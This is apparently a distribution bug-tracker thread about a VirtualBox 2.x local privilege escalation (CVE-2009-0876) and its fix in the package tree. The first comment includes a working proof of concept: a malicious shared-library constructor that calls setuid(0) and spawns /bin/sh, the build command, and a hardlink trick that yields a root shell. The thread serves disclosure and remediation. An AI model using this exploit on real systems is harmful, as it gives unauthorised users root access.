ive filed this upstream already ... all versions of virtualbox are affected hardlinks on Linux preserve permission, including set*id bits, and can be created by non-root users. virtualbox attempts to perform some sanity checks on the dir the binary exists in (presumably to prevent privilege escalation), however that is done after the constructors in shared libs are run. that means any library a virtualbox binary links against is an attack vector. the constructor isnt the only attack vector ... you could also override any of the standard C library functions that virtualbox would call during its startup. like open() or stat() or ... there really isnt many workarounds available here if DT_RPATH:$ORIGIN is continued to be used. perhaps making a small dedicated partition (loopback or whatever) and storing the binaries on there because hardlinks cannot go across partitions. simple example: $ id -u 1002 $ cat test.c #include <unistd.h> #include <sys/syscall.h> __attribute__((constructor)) void awesome(void) { char *argv[] = { "sh", NULL }; extern char *environ; syscall(SYS_setuid, 0); syscall(SYS_execve, "/bin/sh", argv, environ); } $ gcc -Wall test.c -fPIC -shared -o libdl.so.2 -Wl,-soname,libdl.so.2 $ ls -l /opt/VirtualBox/VirtualBox -r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 /opt/VirtualBox/VirtualBox $ ln /opt/VirtualBox/VirtualBox $ ls -l VirtualBox -r-s--x--x 2 root vboxusers 23808 2009-01-30 01:57 VirtualBox $ ./VirtualBox ./VirtualBox: /home/vapier/libdl.so.2: no version information available (required by ./VirtualBox) sh-4.0# whoami root
upstream has released an updated 2.1.4 ... this version of virtualbox-bin-2.1.4 is now in the tree and vuln 2.0.x versions have been punted virtualbox-1.x shouldnt be affected as it doesnt use $ORIGIN in DT_RPATH as for virtualbox-ose, i have no idea what the status is of the 2.0.x ebuilds. ive updated the 2.1.4-r1 ebuild in the tree and it should be OK.
CVE-2009-0876 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2009-0876): Unspecified vulnerability in Sun xVM VirtualBox 2.0.0, 2.0.2, 2.0.4, 2.0.6r39760, 2.1.0, 2.1.2, and 2.1.4r42893 on Linux allows local users to gain privileges via unknown vectors related to "certain packages."
(In reply to comment #1) [..] > virtualbox-1.x shouldnt be affected as it doesnt use $ORIGIN in DT_RPATH > > as for virtualbox-ose, i have no idea what the status is of the 2.0.x > ebuilds. Hi, in all the virtualbox-ose 2.x. ebuilds present in tree, the use of the $ORIGIN DT_RPATH/DT_RUNPATH (ELF) feature was disabled at build time [ this was done via the VBOX_WITH_ORIGIN in LocalConfig.kmk ]. > > ive updated the 2.1.4-r1 ebuild in the tree and it should be OK. > yes, in addition 2.0.x ebuilds should be removed from the tree since they are old and unmaintained by upstream.
then i think all ebuilds in tree are up-to-date ... not sure we need a glsa as i dont think any virtualbox-2 has gone stable
(In reply to comment #4) > then i think all ebuilds in tree are up-to-date ... not sure we need a glsa as > i dont think any virtualbox-2 has gone stable > No, 1.6.6 was latest stable. No 2.x was stabled.
I think this bug can be closed now.
Thanks, closing noglsa.